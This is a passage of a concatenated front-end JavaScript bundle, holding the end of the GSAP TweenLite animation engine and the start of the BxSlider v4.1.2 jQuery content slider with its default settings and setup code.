            return this._kill(t, e),
            this
        }
        ,
        n._uncache = function(t) {
            for (var e = t ? this : this.timeline; e; )
                e._dirty = !0,
                e = e.timeline;
            return this
        }
        ,
        n._swapSelfInParams = function(t) {
            for (var e = t.length, i = t.concat(); --e > -1; )
                "{self}" === t[e] && (i[e] = this);
            return i
        }
        ,
        n.eventCallback = function(t, e, i, s) {
            if ("on" === (t || "").substr(0, 2)) {
                var r = this.vars;
                if (1 === arguments.length)
                    return r[t];
                null == e ? delete r[t] : (r[t] = e,
                r[t + "Params"] = f(i) && -1 !== i.join("").indexOf("{self}") ? this._swapSelfInParams(i) : i,
                r[t + "Scope"] = s),
                "onUpdate" === t && (this._onUpdate = e)
            }
            return this
        }
        ,
        n.delay = function(t) {
            return arguments.length ? (this._timeline.smoothChildTiming && this.startTime(this._startTime + t - this._delay),
            this._delay = t,
            this) : this._delay
        }
        ,
        n.duration = function(t) {
            return arguments.length ? (this._duration = this._totalDuration = t,
            this._uncache(!0),
            this._timeline.smoothChildTiming && this._time > 0 && this._time < this._duration && 0 !== t && this.totalTime(this._totalTime * (t / this._duration), !0),
            this) : (this._dirty = !1,
            this._duration)
        }
        ,
        n.totalDuration = function(t) {
            return this._dirty = !1,
            arguments.length ? this.duration(t) : this._totalDuration
        }
        ,
        n.time = function(t, e) {
            return arguments.length ? (this._dirty && this.totalDuration(),
            this.totalTime(t > this._duration ? this._duration : t, e)) : this._time
        }
        ,
        n.totalTime = function(t, e, i) {
            if (o || a.wake(),
            !arguments.length)
                return this._totalTime;
            if (this._timeline) {
                if (0 > t && !i && (t += this.totalDuration()),
                this._timeline.smoothChildTiming) {
                    this._dirty && this.totalDuration();
                    var s = this._totalDuration
                      , r = this._timeline;
                    if (t > s && !i && (t = s),
                    this._startTime = (this._paused ? this._pauseTime : r._time) - (this._reversed ? s - t : t) / this._timeScale,
                    r._dirty || this._uncache(!1),
                    r._timeline)
                        for (; r._timeline; )
                            r._timeline._time !== (r._startTime + r._totalTime) / r._timeScale && r.totalTime(r._totalTime, !0),
                            r = r._timeline
                }
                this._gc && this._enabled(!0, !1),
                (this._totalTime !== t || 0 === this._duration) && (this.render(t, e, !1),
                I.length && V())
            }
            return this
        }
        ,
        n.progress = n.totalProgress = function(t, e) {
            return arguments.length ? this.totalTime(this.duration() * t, e) : this._time / this.duration()
        }
        ,
        n.startTime = function(t) {
            return arguments.length ? (t !== this._startTime && (this._startTime = t,
            this.timeline && this.timeline._sortChildren && this.timeline.add(this, t - this._delay)),
            this) : this._startTime
        }
        ,
        n.endTime = function(t) {
            return this._startTime + (0 != t ? this.totalDuration() : this.duration()) / this._timeScale
        }
        ,
        n.timeScale = function(t) {
            if (!arguments.length)
                return this._timeScale;
            if (t = t || _,
            this._timeline && this._timeline.smoothChildTiming) {
                var e = this._pauseTime
                  , i = e || 0 === e ? e : this._timeline.totalTime();
                this._startTime = i - (i - this._startTime) * this._timeScale / t
            }
            return this._timeScale = t,
            this._uncache(!1)
        }
        ,
        n.reversed = function(t) {
            return arguments.length ? (t != this._reversed && (this._reversed = t,
            this.totalTime(this._timeline && !this._timeline.smoothChildTiming ? this.totalDuration() - this._totalTime : this._totalTime, !0)),
            this) : this._reversed
        }
        ,
        n.paused = function(t) {
            if (!arguments.length)
                return this._paused;
            var e, i, s = this._timeline;
            return t != this._paused && s && (o || t || a.wake(),
            e = s.rawTime(),
            i = e - this._pauseTime,
            !t && s.smoothChildTiming && (this._startTime += i,
            this._uncache(!1)),
            this._pauseTime = t ? e : null,
            this._paused = t,
            this._active = this.isActive(),
            !t && 0 !== i && this._initted && this.duration() && this.render(s.smoothChildTiming ? this._totalTime : (e - this._startTime) / this._timeScale, !0, !0)),
            this._gc && !t && this._enabled(!0, !1),
            this
        }
        ;
        var C = g("core.SimpleTimeline", function(t) {
            A.call(this, 0, t),
            this.autoRemoveChildren = this.smoothChildTiming = !0
        });
        n = C.prototype = new A,
        n.constructor = C,
        n.kill()._gc = !1,
        n._first = n._last = n._recent = null,
        n._sortChildren = !1,
        n.add = n.insert = function(t, e) {
            var i, s;
            if (t._startTime = Number(e || 0) + t._delay,
            t._paused && this !== t._timeline && (t._pauseTime = t._startTime + (this.rawTime() - t._startTime) / t._timeScale),
            t.timeline && t.timeline._remove(t, !0),
            t.timeline = t._timeline = this,
            t._gc && t._enabled(!0, !0),
            i = this._last,
            this._sortChildren)
                for (s = t._startTime; i && i._startTime > s; )
                    i = i._prev;
            return i ? (t._next = i._next,
            i._next = t) : (t._next = this._first,
            this._first = t),
            t._next ? t._next._prev = t : this._last = t,
            t._prev = i,
            this._recent = t,
            this._timeline && this._uncache(!0),
            this
        }
        ,
        n._remove = function(t, e) {
            return t.timeline === this && (e || t._enabled(!1, !0),
            t._prev ? t._prev._next = t._next : this._first === t && (this._first = t._next),
            t._next ? t._next._prev = t._prev : this._last === t && (this._last = t._prev),
            t._next = t._prev = t.timeline = null,
            t === this._recent && (this._recent = this._last),
            this._timeline && this._uncache(!0)),
            this
        }
        ,
        n.render = function(t, e, i) {
            var s, r = this._first;
            for (this._totalTime = this._time = this._rawPrevTime = t; r; )
                s = r._next,
                (r._active || t >= r._startTime && !r._paused) && (r._reversed ? r.render((r._dirty ? r.totalDuration() : r._totalDuration) - (t - r._startTime) * r._timeScale, e, i) : r.render((t - r._startTime) * r._timeScale, e, i)),
                r = s
        }
        ,
        n.rawTime = function() {
            return o || a.wake(),
            this._totalTime
        }
        ;
        var D = g("TweenLite", function(e, i, s) {
            if (A.call(this, i, s),
            this.render = D.prototype.render,
            null == e)
                throw "Cannot tween a null target.";
            this.target = e = "string" != typeof e ? e : D.selector(e) || e;
            var r, n, a, o = e.jquery || e.length && e !== t && e[0] && (e[0] === t || e[0].nodeType && e[0].style && !e.nodeType), h = this.vars.overwrite;
            if (this._overwrite = h = null == h ? Y[D.defaultOverwrite] : "number" == typeof h ? h >> 0 : Y[h],
            (o || e instanceof Array || e.push && f(e)) && "number" != typeof e[0])
                for (this._targets = a = u(e),
                this._propLookup = [],
                this._siblings = [],
                r = 0; a.length > r; r++)
                    n = a[r],
                    n ? "string" != typeof n ? n.length && n !== t && n[0] && (n[0] === t || n[0].nodeType && n[0].style && !n.nodeType) ? (a.splice(r--, 1),
                    this._targets = a = a.concat(u(n))) : (this._siblings[r] = G(n, this, !1),
                    1 === h && this._siblings[r].length > 1 && Z(n, this, null, 1, this._siblings[r])) : (n = a[r--] = D.selector(n),
                    "string" == typeof n && a.splice(r + 1, 1)) : a.splice(r--, 1);
            else
                this._propLookup = {},
                this._siblings = G(e, this, !1),
                1 === h && this._siblings.length > 1 && Z(e, this, null, 1, this._siblings);
            (this.vars.immediateRender || 0 === i && 0 === this._delay && this.vars.immediateRender !== !1) && (this._time = -_,
            this.render(-this._delay))
        }, !0)
          , M = function(e) {
            return e && e.length && e !== t && e[0] && (e[0] === t || e[0].nodeType && e[0].style && !e.nodeType)
        }
          , z = function(t, e) {
            var i, s = {};
            for (i in t)
                U[i] || i in e && "transform" !== i && "x" !== i && "y" !== i && "width" !== i && "height" !== i && "className" !== i && "border" !== i || !(!N[i] || N[i] && N[i]._autoCSS) || (s[i] = t[i],
                delete t[i]);
            t.css = s
        };
        n = D.prototype = new A,
        n.constructor = D,
        n.kill()._gc = !1,
        n.ratio = 0,
        n._firstPT = n._targets = n._overwrittenProps = n._startAt = null,
        n._notifyPluginsOfEnabled = n._lazy = !1,
        D.version = "1.16.1",
        D.defaultEase = n._ease = new T(null,null,1,1),
        D.defaultOverwrite = "auto",
        D.ticker = a,
        D.autoSleep = 120,
        D.lagSmoothing = function(t, e) {
            a.lagSmoothing(t, e)
        }
        ,
        D.selector = t.$ || t.jQuery || function(e) {
            var i = t.$ || t.jQuery;
            return i ? (D.selector = i,
            i(e)) : "undefined" == typeof document ? e : document.querySelectorAll ? document.querySelectorAll(e) : document.getElementById("#" === e.charAt(0) ? e.substr(1) : e)
        }
        ;
        var I = []
          , F = {}
          , E = D._internals = {
            isArray: f,
            isSelector: M,
            lazyTweens: I
        }
          , N = D._plugins = {}
          , L = E.tweenLookup = {}
          , X = 0
          , U = E.reservedProps = {
            ease: 1,
            delay: 1,
            overwrite: 1,
            onComplete: 1,
            onCompleteParams: 1,
            onCompleteScope: 1,
            useFrames: 1,
            runBackwards: 1,
            startAt: 1,
            onUpdate: 1,
            onUpdateParams: 1,
            onUpdateScope: 1,
            onStart: 1,
            onStartParams: 1,
            onStartScope: 1,
            onReverseComplete: 1,
            onReverseCompleteParams: 1,
            onReverseCompleteScope: 1,
            onRepeat: 1,
            onRepeatParams: 1,
            onRepeatScope: 1,
            easeParams: 1,
            yoyo: 1,
            immediateRender: 1,
            repeat: 1,
            repeatDelay: 1,
            data: 1,
            paused: 1,
            reversed: 1,
            autoCSS: 1,
            lazy: 1,
            onOverwrite: 1
        }
          , Y = {
            none: 0,
            all: 1,
            auto: 2,
            concurrent: 3,
            allOnStart: 4,
            preexisting: 5,
            "true": 1,
            "false": 0
        }
          , j = A._rootFramesTimeline = new C
          , B = A._rootTimeline = new C
          , q = 30
          , V = E.lazyRender = function() {
            var t, e = I.length;
            for (F = {}; --e > -1; )
                t = I[e],
                t && t._lazy !== !1 && (t.render(t._lazy[0], t._lazy[1], !0),
                t._lazy = !1);
            I.length = 0
        }
        ;
        B._startTime = a.time,
        j._startTime = a.frame,
        B._active = j._active = !0,
        setTimeout(V, 1),
        A._updateRoot = D.render = function() {
            var t, e, i;
            if (I.length && V(),
            B.render((a.time - B._startTime) * B._timeScale, !1, !1),
            j.render((a.frame - j._startTime) * j._timeScale, !1, !1),
            I.length && V(),
            a.frame >= q) {
                q = a.frame + (parseInt(D.autoSleep, 10) || 120);
                for (i in L) {
                    for (e = L[i].tweens,
                    t = e.length; --t > -1; )
                        e[t]._gc && e.splice(t, 1);
                    0 === e.length && delete L[i]
                }
                if (i = B._first,
                (!i || i._paused) && D.autoSleep && !j._first && 1 === a._listeners.tick.length) {
                    for (; i && i._paused; )
                        i = i._next;
                    i || a.sleep()
                }
            }
        }
        ,
        a.addEventListener("tick", A._updateRoot);
        var G = function(t, e, i) {
            var s, r, n = t._gsTweenID;
            if (L[n || (t._gsTweenID = n = "t" + X++)] || (L[n] = {
                target: t,
                tweens: []
            }),
            e && (s = L[n].tweens,
            s[r = s.length] = e,
            i))
                for (; --r > -1; )
                    s[r] === e && s.splice(r, 1);
            return L[n].tweens
        }
          , W = function(t, e, i, s) {
            var r, n, a = t.vars.onOverwrite;
            return a && (r = a(t, e, i, s)),
            a = D.onOverwrite,
            a && (n = a(t, e, i, s)),
            r !== !1 && n !== !1
        }
          , Z = function(t, e, i, s, r) {
            var n, a, o, h;
            if (1 === s || s >= 4) {
                for (h = r.length,
                n = 0; h > n; n++)
                    if ((o = r[n]) !== e)
                        o._gc || W(o, e) && o._enabled(!1, !1) && (a = !0);
                    else if (5 === s)
                        break;
                return a
            }
            var l, u = e._startTime + _, p = [], f = 0, c = 0 === e._duration;
            for (n = r.length; --n > -1; )
                (o = r[n]) === e || o._gc || o._paused || (o._timeline !== e._timeline ? (l = l || Q(e, 0, c),
                0 === Q(o, l, c) && (p[f++] = o)) : u >= o._startTime && o._startTime + o.totalDuration() / o._timeScale > u && ((c || !o._initted) && 2e-10 >= u - o._startTime || (p[f++] = o)));
            for (n = f; --n > -1; )
                if (o = p[n],
                2 === s && o._kill(i, t, e) && (a = !0),
                2 !== s || !o._firstPT && o._initted) {
                    if (2 !== s && !W(o, e))
                        continue;
                    o._enabled(!1, !1) && (a = !0)
                }
            return a
        }
          , Q = function(t, e, i) {
            for (var s = t._timeline, r = s._timeScale, n = t._startTime; s._timeline; ) {
                if (n += s._startTime,
                r *= s._timeScale,
                s._paused)
                    return -100;
                s = s._timeline
            }
            return n /= r,
            n > e ? n - e : i && n === e || !t._initted && 2 * _ > n - e ? _ : (n += t.totalDuration() / t._timeScale / r) > e + _ ? 0 : n - e - _
        };
        n._init = function() {
            var t, e, i, s, r, n = this.vars, a = this._overwrittenProps, o = this._duration, h = !!n.immediateRender, l = n.ease;
            if (n.startAt) {
                this._startAt && (this._startAt.render(-1, !0),
                this._startAt.kill()),
                r = {};
                for (s in n.startAt)
                    r[s] = n.startAt[s];
                if (r.overwrite = !1,
                r.immediateRender = !0,
                r.lazy = h && n.lazy !== !1,
                r.startAt = r.delay = null,
                this._startAt = D.to(this.target, 0, r),
                h)
                    if (this._time > 0)
                        this._startAt = null;
                    else if (0 !== o)
                        return
            } else if (n.runBackwards && 0 !== o)
                if (this._startAt)
                    this._startAt.render(-1, !0),
                    this._startAt.kill(),
                    this._startAt = null;
                else {
                    0 !== this._time && (h = !1),
                    i = {};
                    for (s in n)
                        U[s] && "autoCSS" !== s || (i[s] = n[s]);
                    if (i.overwrite = 0,
                    i.data = "isFromStart",
                    i.lazy = h && n.lazy !== !1,
                    i.immediateRender = h,
                    this._startAt = D.to(this.target, 0, i),
                    h) {
                        if (0 === this._time)
                            return
                    } else
                        this._startAt._init(),
                        this._startAt._enabled(!1),
                        this.vars.immediateRender && (this._startAt = null)
                }
            if (this._ease = l = l ? l instanceof T ? l : "function" == typeof l ? new T(l,n.easeParams) : w[l] || D.defaultEase : D.defaultEase,
            n.easeParams instanceof Array && l.config && (this._ease = l.config.apply(l, n.easeParams)),
            this._easeType = this._ease._type,
            this._easePower = this._ease._power,
            this._firstPT = null,
            this._targets)
                for (t = this._targets.length; --t > -1; )
                    this._initProps(this._targets[t], this._propLookup[t] = {}, this._siblings[t], a ? a[t] : null) && (e = !0);
            else
                e = this._initProps(this.target, this._propLookup, this._siblings, a);
            if (e && D._onPluginEvent("_onInitAllProps", this),
            a && (this._firstPT || "function" != typeof this.target && this._enabled(!1, !1)),
            n.runBackwards)
                for (i = this._firstPT; i; )
                    i.s += i.c,
                    i.c = -i.c,
                    i = i._next;
            this._onUpdate = n.onUpdate,
            this._initted = !0
        }
        ,
        n._initProps = function(e, i, s, r) {
            var n, a, o, h, l, _;
            if (null == e)
                return !1;
            F[e._gsTweenID] && V(),
            this.vars.css || e.style && e !== t && e.nodeType && N.css && this.vars.autoCSS !== !1 && z(this.vars, e);
            for (n in this.vars) {
                if (_ = this.vars[n],
                U[n])
                    _ && (_ instanceof Array || _.push && f(_)) && -1 !== _.join("").indexOf("{self}") && (this.vars[n] = _ = this._swapSelfInParams(_, this));
                else if (N[n] && (h = new N[n])._onInitTween(e, this.vars[n], this)) {
                    for (this._firstPT = l = {
                        _next: this._firstPT,
                        t: h,
                        p: "setRatio",
                        s: 0,
                        c: 1,
                        f: !0,
                        n: n,
                        pg: !0,
                        pr: h._priority
                    },
                    a = h._overwriteProps.length; --a > -1; )
                        i[h._overwriteProps[a]] = this._firstPT;
                    (h._priority || h._onInitAllProps) && (o = !0),
                    (h._onDisable || h._onEnable) && (this._notifyPluginsOfEnabled = !0)
                } else
                    this._firstPT = i[n] = l = {
                        _next: this._firstPT,
                        t: e,
                        p: n,
                        f: "function" == typeof e[n],
                        n: n,
                        pg: !1,
                        pr: 0
                    },
                    l.s = l.f ? e[n.indexOf("set") || "function" != typeof e["get" + n.substr(3)] ? n : "get" + n.substr(3)]() : parseFloat(e[n]),
                    l.c = "string" == typeof _ && "=" === _.charAt(1) ? parseInt(_.charAt(0) + "1", 10) * Number(_.substr(2)) : Number(_) - l.s || 0;
                l && l._next && (l._next._prev = l)
            }
            return r && this._kill(r, e) ? this._initProps(e, i, s, r) : this._overwrite > 1 && this._firstPT && s.length > 1 && Z(e, this, i, this._overwrite, s) ? (this._kill(i, e),
            this._initProps(e, i, s, r)) : (this._firstPT && (this.vars.lazy !== !1 && this._duration || this.vars.lazy && !this._duration) && (F[e._gsTweenID] = !0),
            o)
        }
        ,
        n.render = function(t, e, i) {
            var s, r, n, a, o = this._time, h = this._duration, l = this._rawPrevTime;
            if (t >= h)
                this._totalTime = this._time = h,
                this.ratio = this._ease._calcEnd ? this._ease.getRatio(1) : 1,
                this._reversed || (s = !0,
                r = "onComplete",
                i = i || this._timeline.autoRemoveChildren),
                0 === h && (this._initted || !this.vars.lazy || i) && (this._startTime === this._timeline._duration && (t = 0),
                (0 === t || 0 > l || l === _ && "isPause" !== this.data) && l !== t && (i = !0,
                l > _ && (r = "onReverseComplete")),
                this._rawPrevTime = a = !e || t || l === t ? t : _);
            else if (1e-7 > t)
                this._totalTime = this._time = 0,
                this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0,
                (0 !== o || 0 === h && l > 0) && (r = "onReverseComplete",
                s = this._reversed),
                0 > t && (this._active = !1,
                0 === h && (this._initted || !this.vars.lazy || i) && (l >= 0 && (l !== _ || "isPause" !== this.data) && (i = !0),
                this._rawPrevTime = a = !e || t || l === t ? t : _)),
                this._initted || (i = !0);
            else if (this._totalTime = this._time = t,
            this._easeType) {
                var u = t / h
                  , p = this._easeType
                  , f = this._easePower;
                (1 === p || 3 === p && u >= .5) && (u = 1 - u),
                3 === p && (u *= 2),
                1 === f ? u *= u : 2 === f ? u *= u * u : 3 === f ? u *= u * u * u : 4 === f && (u *= u * u * u * u),
                this.ratio = 1 === p ? 1 - u : 2 === p ? u : .5 > t / h ? u / 2 : 1 - u / 2
            } else
                this.ratio = this._ease.getRatio(t / h);
            if (this._time !== o || i) {
                if (!this._initted) {
                    if (this._init(),
                    !this._initted || this._gc)
                        return;
                    if (!i && this._firstPT && (this.vars.lazy !== !1 && this._duration || this.vars.lazy && !this._duration))
                        return this._time = this._totalTime = o,
                        this._rawPrevTime = l,
                        I.push(this),
                        this._lazy = [t, e],
                        void 0;
                    this._time && !s ? this.ratio = this._ease.getRatio(this._time / h) : s && this._ease._calcEnd && (this.ratio = this._ease.getRatio(0 === this._time ? 0 : 1))
                }
                for (this._lazy !== !1 && (this._lazy = !1),
                this._active || !this._paused && this._time !== o && t >= 0 && (this._active = !0),
                0 === o && (this._startAt && (t >= 0 ? this._startAt.render(t, e, i) : r || (r = "_dummyGS")),
                this.vars.onStart && (0 !== this._time || 0 === h) && (e || this.vars.onStart.apply(this.vars.onStartScope || this, this.vars.onStartParams || y))),
                n = this._firstPT; n; )
                    n.f ? n.t[n.p](n.c * this.ratio + n.s) : n.t[n.p] = n.c * this.ratio + n.s,
                    n = n._next;
                this._onUpdate && (0 > t && this._startAt && t !== -1e-4 && this._startAt.render(t, e, i),
                e || (this._time !== o || s) && this._onUpdate.apply(this.vars.onUpdateScope || this, this.vars.onUpdateParams || y)),
                r && (!this._gc || i) && (0 > t && this._startAt && !this._onUpdate && t !== -1e-4 && this._startAt.render(t, e, i),
                s && (this._timeline.autoRemoveChildren && this._enabled(!1, !1),
                this._active = !1),
                !e && this.vars[r] && this.vars[r].apply(this.vars[r + "Scope"] || this, this.vars[r + "Params"] || y),
                0 === h && this._rawPrevTime === _ && a !== _ && (this._rawPrevTime = 0))
            }
        }
        ,
        n._kill = function(t, e, i) {
            if ("all" === t && (t = null),
            null == t && (null == e || e === this.target))
                return this._lazy = !1,
                this._enabled(!1, !1);
            e = "string" != typeof e ? e || this._targets || this.target : D.selector(e) || e;
            var s, r, n, a, o, h, l, _, u;
            if ((f(e) || M(e)) && "number" != typeof e[0])
                for (s = e.length; --s > -1; )
                    this._kill(t, e[s]) && (h = !0);
            else {
                if (this._targets) {
                    for (s = this._targets.length; --s > -1; )
                        if (e === this._targets[s]) {
                            o = this._propLookup[s] || {},
                            this._overwrittenProps = this._overwrittenProps || [],
                            r = this._overwrittenProps[s] = t ? this._overwrittenProps[s] || {} : "all";
                            break
                        }
                } else {
                    if (e !== this.target)
                        return !1;
                    o = this._propLookup,
                    r = this._overwrittenProps = t ? this._overwrittenProps || {} : "all"
                }
                if (o) {
                    if (l = t || o,
                    _ = t !== r && "all" !== r && t !== o && ("object" != typeof t || !t._tempKill),
                    i && (D.onOverwrite || this.vars.onOverwrite)) {
                        for (n in l)
                            o[n] && (u || (u = []),
                            u.push(n));
                        if (!W(this, i, e, u))
                            return !1
                    }
                    for (n in l)
                        (a = o[n]) && (a.pg && a.t._kill(l) && (h = !0),
                        a.pg && 0 !== a.t._overwriteProps.length || (a._prev ? a._prev._next = a._next : a === this._firstPT && (this._firstPT = a._next),
                        a._next && (a._next._prev = a._prev),
                        a._next = a._prev = null),
                        delete o[n]),
                        _ && (r[n] = 1);
                    !this._firstPT && this._initted && this._enabled(!1, !1)
                }
            }
            return h
        }
        ,
        n.invalidate = function() {
            return this._notifyPluginsOfEnabled && D._onPluginEvent("_onDisable", this),
            this._firstPT = this._overwrittenProps = this._startAt = this._onUpdate = null,
            this._notifyPluginsOfEnabled = this._active = this._lazy = !1,
            this._propLookup = this._targets ? {} : [],
            A.prototype.invalidate.call(this),
            this.vars.immediateRender && (this._time = -_,
            this.render(-this._delay)),
            this
        }
        ,
        n._enabled = function(t, e) {
            if (o || a.wake(),
            t && this._gc) {
                var i, s = this._targets;
                if (s)
                    for (i = s.length; --i > -1; )
                        this._siblings[i] = G(s[i], this, !0);
                else
                    this._siblings = G(this.target, this, !0)
            }
            return A.prototype._enabled.call(this, t, e),
            this._notifyPluginsOfEnabled && this._firstPT ? D._onPluginEvent(t ? "_onEnable" : "_onDisable", this) : !1
        }
        ,
        D.to = function(t, e, i) {
            return new D(t,e,i)
        }
        ,
        D.from = function(t, e, i) {
            return i.runBackwards = !0,
            i.immediateRender = 0 != i.immediateRender,
            new D(t,e,i)
        }
        ,
        D.fromTo = function(t, e, i, s) {
            return s.startAt = i,
            s.immediateRender = 0 != s.immediateRender && 0 != i.immediateRender,
            new D(t,e,s)
        }
        ,
        D.delayedCall = function(t, e, i, s, r) {
            return new D(e,0,{
                delay: t,
                onComplete: e,
                onCompleteParams: i,
                onCompleteScope: s,
                onReverseComplete: e,
                onReverseCompleteParams: i,
                onReverseCompleteScope: s,
                immediateRender: !1,
                lazy: !1,
                useFrames: r,
                overwrite: 0
            })
        }
        ,
        D.set = function(t, e) {
            return new D(t,0,e)
        }
        ,
        D.getTweensOf = function(t, e) {
            if (null == t)
                return [];
            t = "string" != typeof t ? t : D.selector(t) || t;
            var i, s, r, n;
            if ((f(t) || M(t)) && "number" != typeof t[0]) {
                for (i = t.length,
                s = []; --i > -1; )
                    s = s.concat(D.getTweensOf(t[i], e));
                for (i = s.length; --i > -1; )
                    for (n = s[i],
                    r = i; --r > -1; )
                        n === s[r] && s.splice(i, 1)
            } else
                for (s = G(t).concat(),
                i = s.length; --i > -1; )
                    (s[i]._gc || e && !s[i].isActive()) && s.splice(i, 1);
            return s
        }
        ,
        D.killTweensOf = D.killDelayedCallsTo = function(t, e, i) {
            "object" == typeof e && (i = e,
            e = !1);
            for (var s = D.getTweensOf(t, e), r = s.length; --r > -1; )
                s[r]._kill(i, t)
        }
        ;
        var $ = g("plugins.TweenPlugin", function(t, e) {
            this._overwriteProps = (t || "").split(","),
            this._propName = this._overwriteProps[0],
            this._priority = e || 0,
            this._super = $.prototype
        }, !0);
        if (n = $.prototype,
        $.version = "1.10.1",
        $.API = 2,
        n._firstPT = null,
        n._addTween = function(t, e, i, s, r, n) {
            var a, o;
            return null != s && (a = "number" == typeof s || "=" !== s.charAt(1) ? Number(s) - i : parseInt(s.charAt(0) + "1", 10) * Number(s.substr(2))) ? (this._firstPT = o = {
                _next: this._firstPT,
                t: t,
                p: e,
                s: i,
                c: a,
                f: "function" == typeof t[e],
                n: r || e,
                r: n
            },
            o._next && (o._next._prev = o),
            o) : void 0
        }
        ,
        n.setRatio = function(t) {
            for (var e, i = this._firstPT, s = 1e-6; i; )
                e = i.c * t + i.s,
                i.r ? e = Math.round(e) : s > e && e > -s && (e = 0),
                i.f ? i.t[i.p](e) : i.t[i.p] = e,
                i = i._next
        }
        ,
        n._kill = function(t) {
            var e, i = this._overwriteProps, s = this._firstPT;
            if (null != t[this._propName])
                this._overwriteProps = [];
            else
                for (e = i.length; --e > -1; )
                    null != t[i[e]] && i.splice(e, 1);
            for (; s; )
                null != t[s.n] && (s._next && (s._next._prev = s._prev),
                s._prev ? (s._prev._next = s._next,
                s._prev = null) : this._firstPT === s && (this._firstPT = s._next)),
                s = s._next;
            return !1
        }
        ,
        n._roundProps = function(t, e) {
            for (var i = this._firstPT; i; )
                (t[this._propName] || null != i.n && t[i.n.split(this._propName + "_").join("")]) && (i.r = e),
                i = i._next
        }
        ,
        D._onPluginEvent = function(t, e) {
            var i, s, r, n, a, o = e._firstPT;
            if ("_onInitAllProps" === t) {
                for (; o; ) {
                    for (a = o._next,
                    s = r; s && s.pr > o.pr; )
                        s = s._next;
                    (o._prev = s ? s._prev : n) ? o._prev._next = o : r = o,
                    (o._next = s) ? s._prev = o : n = o,
                    o = a
                }
                o = e._firstPT = r
            }
            for (; o; )
                o.pg && "function" == typeof o.t[t] && o.t[t]() && (i = !0),
                o = o._next;
            return i
        }
        ,
        $.activate = function(t) {
            for (var e = t.length; --e > -1; )
                t[e].API === $.API && (N[(new t[e])._propName] = t[e]);
            return !0
        }
        ,
        d.plugin = function(t) {
            if (!(t && t.propName && t.init && t.API))
                throw "illegal plugin definition.";
            var e, i = t.propName, s = t.priority || 0, r = t.overwriteProps, n = {
                init: "_onInitTween",
                set: "setRatio",
                kill: "_kill",
                round: "_roundProps",
                initAll: "_onInitAllProps"
            }, a = g("plugins." + i.charAt(0).toUpperCase() + i.substr(1) + "Plugin", function() {
                $.call(this, i, s),
                this._overwriteProps = r || []
            }, t.global === !0), o = a.prototype = new $(i);
            o.constructor = a,
            a.API = t.API;
            for (e in n)
                "function" == typeof t[e] && (o[n[e]] = t[e]);
            return a.version = t.version,
            $.activate([a]),
            a
        }
        ,
        s = t._gsQueue) {
            for (r = 0; s.length > r; r++)
                s[r]();
            for (n in c)
                c[n].func || t.console.log("GSAP encountered missing dependency: com.greensock." + n)
        }
        o = !1
    }
}("undefined" != typeof module && module.exports && "undefined" != typeof global ? global : this || window, "TweenMax");

/**
 * BxSlider v4.1.2 - Fully loaded, responsive content slider
 * http://bxslider.com
 *
 * Copyright 2014, Steven Wanderski - http://stevenwanderski.com - http://bxcreative.com
 * Written while drinking Belgian ales and listening to jazz
 *
 * Released under the MIT license - http://opensource.org/licenses/MIT
 */
(function(e) {
    var D = {
        mode: "horizontal",
        slideSelector: "",
        infiniteLoop: !0,
        hideControlOnEnd: !1,
        speed: 500,
        easing: null,
        slideMargin: 0,
        startSlide: 0,
        randomStart: !1,
        captions: !1,
        ticker: !1,
        tickerHover: !1,
        adaptiveHeight: !1,
        adaptiveHeightSpeed: 500,
        video: !1,
        useCSS: !0,
        preloadImages: "visible",
        responsive: !0,
        slideZIndex: 50,
        wrapperClass: "bx-wrapper",
        touchEnabled: !0,
        swipeThreshold: 50,
        oneToOneTouch: !0,
        preventDefaultSwipeX: !0,
        preventDefaultSwipeY: !1,
        pager: !0,
        pagerType: "full",
        pagerShortSeparator: " / ",
        pagerSelector: null,
        buildPager: null,
        pagerCustom: null,
        controls: !0,
        nextText: "Next",
        prevText: "Prev",
        nextSelector: null,
        prevSelector: null,
        autoControls: !1,
        startText: "Start",
        stopText: "Stop",
        autoControlsCombine: !1,
        autoControlsSelector: null,
        auto: !1,
        pause: 4E3,
        autoStart: !0,
        autoDirection: "next",
        autoHover: !1,
        autoDelay: 0,
        autoSlideForOnePage: !1,
        minSlides: 1,
        maxSlides: 1,
        moveSlides: 0,
        slideWidth: 0,
        onSliderLoad: function() {},
        onSlideBefore: function() {},
        onSlideAfter: function() {},
        onSlideNext: function() {},
        onSlidePrev: function() {},
        onSliderResize: function() {}
    };
    e.fn.bxSlider = function(p) {
        if (0 == this.length)
            return this;
        if (1 < this.length)
            return this.each(function() {
                e(this).bxSlider(p)
            }),
            this;
        var a = {}
          , c = this
          , t = e(window).width()
          , u = e(window).height()
          , v = function() {
            a.settings = e.extend({}, D, p);
            a.settings.slideWidth = parseInt(a.settings.slideWidth);
            a.children = c.children(a.settings.slideSelector);
            a.children.length < a.settings.minSlides && (a.settings.minSlides = a.children.length);
            a.children.length < a.settings.maxSlides && (a.settings.maxSlides = a.children.length);
            a.settings.randomStart && (a.settings.startSlide = Math.floor(Math.random() * a.children.length));
            a.active = {
                index: a.settings.startSlide
            };
            a.carousel = 1 < a.settings.minSlides || 1 < a.settings.maxSlides;
            a.carousel && (a.settings.preloadImages = "all");
            a.minThreshold = a.settings.minSlides * a.settings.slideWidth + (a.settings.minSlides - 1) * a.settings.slideMargin;
            a.maxThreshold = a.settings.maxSlides * a.settings.slideWidth + (a.settings.maxSlides - 1) * a.settings.slideMargin;
            a.working = !1;
            a.controls = {};
            a.interval = null;
            a.animProp = "vertical" == a.settings.mode ? "top" : "left";
            a.usingCSS = a.settings.useCSS && "fade" != a.settings.mode && function() {
                var b = document.createElement("div"), d = ["WebkitPerspective", "MozPerspective", "OPerspective", "msPerspective"], c;
                for (c in d)
                    if (void 0 !== b.style[d[c]])
                        return a.cssPrefix = d[c].replace("Perspective", "").toLowerCase(),
                        a.animProp = "-" + a.cssPrefix + "-transform",
                        !0;
                return !1
            }();
            "vertical" == a.settings.mode && (a.settings.maxSlides = a.settings.minSlides);
            c.data("origStyle", c.attr("style"));
            c.children(a.settings.slideSelector).each(function() {
                e(this).data("origStyle", e(this).attr("style"))
            });
            E()
        }
          , E = function() {
            c.wrap('<div class="' + a.settings.wrapperClass + '"><div class="bx-viewport"></div></div>');
            a.viewport = c.parent();
            a.loader = e('<div class="bx-loading" />');
            a.viewport.prepend(a.loader);
            c.css({
                width: "horizontal" == a.settings.mode ? 100 * a.children.length + 215 + "%" : "auto",
                position: "relative"
            });
            a.usingCSS && a.settings.easing ? c.css("-" + a.cssPrefix + "-transition-timing-function", a.settings.easing) : a.settings.easing || (a.settings.easing = "swing");
            k();
            a.viewport.css({
                width: "100%",
